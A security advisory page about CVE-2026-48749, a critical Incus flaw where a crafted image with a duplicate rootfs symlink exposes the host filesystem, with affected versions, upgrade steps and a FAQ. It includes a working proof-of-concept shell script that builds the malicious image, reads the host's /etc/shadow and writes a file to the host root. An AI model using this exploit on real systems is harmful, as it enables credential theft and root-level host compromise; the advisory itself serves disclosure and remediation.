CVE-2026-48749: Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

Published Jun 26, 2026
·
Updated

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.

metadata.yaml rootfs/ rootfs -> /

In practice, this allows a malicious actor to access the host's filesystem with root privileges.

PoC

Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.

#!/bin/sh set -eu

tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs" cat<<EOF>"${tmpdir}/img/metadata.yaml" architecture: x8664 creationdate: 1 properties: description: PoC rootfs symlink host afrw EOF

cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c >../afrw-rootfs-symlink.tar

inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs

incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink

read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow"

write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Other sources

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes the issue.

— MITRE

Affected Software

8 affected componentsFixes available
go/github.com/lxc/incus/v7/cmd/incusd<7.2.0
7.2.0
alpine/incus<7.0.1-r0
7.0.1-r0
debian/incus<6.0.4-2+deb13u8
6.0.4-2+deb13u8
debian/incus<7.0.0-5
7.0.0-5
debian/lxd*
debian/lxd<5.0.2+git20231211.1364ae4-9+deb13u7
5.0.2+git20231211.1364ae4-9+deb13u7
debian/incus
6.0.4-2+deb13u106.0.4-2+deb13u127.0.2-3
debian/lxd<=5.0.2-5+deb12u6
5.0.2+git20231211.1364ae4-9+deb13u7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/lxc/incus/v7/cmd/incusd to a version that resolves this vulnerability.

    Fixed in 7.2.0
  2. Upgrade

    Upgrade alpine/incus to a version that resolves this vulnerability.

    Fixed in 7.0.1-r0
  3. Upgrade

    Upgrade debian/incus to a version that resolves this vulnerability.

    Fixed in 6.0.4-2+deb13u8
  4. Upgrade

    Upgrade debian/incus to a version that resolves this vulnerability.

    Fixed in 7.0.0-5
  5. Upgrade

    Upgrade debian/lxd to a version that resolves this vulnerability.

    Fixed in 5.0.2+git20231211.1364ae4-9+deb13u7
  6. Upgrade

    Upgrade debian/incus to a version that resolves this vulnerability.

    Fixed in 6.0.4-2+deb13u10Fixed in 6.0.4-2+deb13u12Fixed in 7.0.2-3
  7. Upgrade

    Upgrade Incus to a version that resolves this vulnerability.

    Fixed in 7.2.0

Event History

Jun 26, 2026
Advisory Published
via GitHub·06:31 PM
Data Sourced
via GitHub·06:31 PM
DescriptionSeverityWeaknessAffected Software
Aug 21, 2026
CVE Published
via MITRE·02:17 PM
Data Sourced
via MITRE·02:17 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeakness
Exploit Published
via CISA·03:37 PM

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-48749?

The severity of CVE-2026-48749 is rated as critical with a score of 9.9.

2

What are the potential impacts of CVE-2026-48749?

CVE-2026-48749 can lead to arbitrary file reading or writing on the host, potentially resulting in arbitrary command execution.

3

How does CVE-2026-48749 allow arbitrary file access?

CVE-2026-48749 exploits the way Incus validates images, allowing crafted images to bypass security and access arbitrary files.

4

Which software is affected by CVE-2026-48749?

CVE-2026-48749 affects the Incus software, specifically version v7 of the command 'incusd' in the go/github.com/lxc/incus repository.

5

How can I mitigate the risks associated with CVE-2026-48749?

To mitigate CVE-2026-48749, ensure that all instances of Incus are updated and configured to reject untrusted images.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203